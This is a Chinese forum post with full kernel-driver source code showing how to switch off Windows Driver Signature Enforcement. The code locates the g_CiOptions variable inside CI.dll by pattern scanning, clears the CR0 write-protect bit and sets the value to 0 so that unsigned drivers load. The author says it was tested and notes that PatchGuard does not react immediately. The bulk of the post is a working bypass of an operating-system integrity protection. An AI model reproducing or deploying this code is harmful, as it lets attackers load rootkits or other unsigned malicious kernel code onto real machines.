现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.
下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了
你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.
原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.
全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.
既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.
结果
虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.
一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名
#include "Driver.h" //加载ntddk.h即可.我的DriverUnload没在这个文件.所以包含了一下 #include <wdm.h> //KLDR_DATA_TABLE_ENTRY typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { struct { ULONG TimeDateStamp; }; struct { PVOID LoadedImports; }; }; }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; VOID IteratorModule(PDRIVER_OBJECT pDriverObj) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //前后不相等 { //获取LDR_DATA_TABLE_ENTRY结构 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); } pCurrentListEntry = pCurrentListEntry->Flink; } } LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //前后不相等 { //获取LDR_DATA_TABLE_ENTRY结构 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld"); UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld"); if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); return (LONGLONG)pCurrentModule->DllBase; } } pCurrentListEntry = pCurrentListEntry->Flink; } return 0; } typedef struct _BASEMANGER { LONGLONG StartBase; LONGLONG EndBase; }BASEMANGER,*PBASEMANGER; BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; BASEMANGER BaseManger = { 0 }; while (pCurrentListEntry != pListEntry) //前后不相等 { //获取LDR_DATA_TABLE_ENTRY结构 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld"); UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld"); if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase; BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage; return BaseManger; } } pCurrentListEntry = pCurrentListEntry->Flink; } BaseManger.StartBase = 0; BaseManger.EndBase = 0; return BaseManger; } //核心实现代码 DWORD64 g_CiOptionsAddress; int g_CiOptions = 6; KIRQL WPOFFx64() { KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; _disable(); __writecr0(cr0); return irql; } KIRQL DisableMemProtected() { KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; _disable(); __writecr0(cr0); return irql; } void EnbaleMemProtected(KIRQL irql) { UINT64 cr0 = __readcr0(); cr0 |= 0x10000; _enable(); __writecr0(cr0); KeLowerIrql(irql); } BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress) { UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess"); DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName); DWORD64 SerchAddress = CiStartAddress; DWORD64 Address; KIRQL Myirql; int nCount = 0; int isFind = 0; int i = 0; int isRead = 1; if (SerchAddress == 0) { return 0; } __try { KIRQL irql = KeRaiseIrqlToDpcLevel(); while (SerchAddress++) { if (SerchAddress + 2 > CiEndAddress) { break; } isRead = 1; for (i = 0; i < 2; i++) { if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE) { isRead = 0; break; } } if (isRead == 1) { if (*(PUSHORT)(SerchAddress) == 0x15ff) { Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6; if (MmIsAddressValid((PDWORD64)Address)) { if (*(PDWORD64)Address == PsGetCurrentProcessAddress) { while (nCount < 100) { nCount++; SerchAddress--; if (*(PUSHORT)(SerchAddress) == 0x0d89) { isFind = 1; break; } } break; } } } } } KeLowerIrql(irql); } __except (1) { DbgPrint("搜索数据失败!"); } if (isFind == 1) { //DbgPrint("SerchAddress:%p\n", SerchAddress); g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6; g_CiOptions = *(PLONG)g_CiOptionsAddress; DbgPrint("地址:%p 初始化值数据:%08X\n", g_CiOptionsAddress, g_CiOptions); Myirql = DisableMemProtected(); *(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可. DbgPrint("地址:%p 修改数据为:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress); EnbaleMemProtected(Myirql); return TRUE; } else { DbgPrint("搜索数据失败!\n"); return FALSE; } } void EnbalDse() //开启DSE保护 { KIRQL Myirql; Myirql = DisableMemProtected(); *(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可. DbgPrint("开启签名验证成功.值修改为 %d \r\n", *(PLONG)g_CiOptionsAddress); EnbaleMemProtected(Myirql); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath) { ULONG iCount = 0; NTSTATUS ntStatus; UNICODE_STRING uModuleName; BASEMANGER Base = { 0 }; RtlInitUnicodeString(&uModuleName, L"CI.dll"); pDriverObj->DriverUnload = DriverUnLoad; Base = GetModuleBaseByNames(pDriverObj, uModuleName); if (Base.StartBase != 0 && Base.EndBase != 0) { DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress //EnbalDse(); //关闭DSE } return STATUS_SUCCESS; }
ps: .核心原理是看流星的一个大佬发的代码.自己本地测试了一下可行.所以发出来了.
原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。
另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。
感谢 看流星论坛的大佬.因为写完文章好几天了.所以原文没找到.当时也看到一个安全客的漏洞分析也有讲.都找不到了.所以先在此感谢.如有侵犯权利或者发文不合适.请删帖.
最后于 2小时前 被张新琪编辑 ,原因: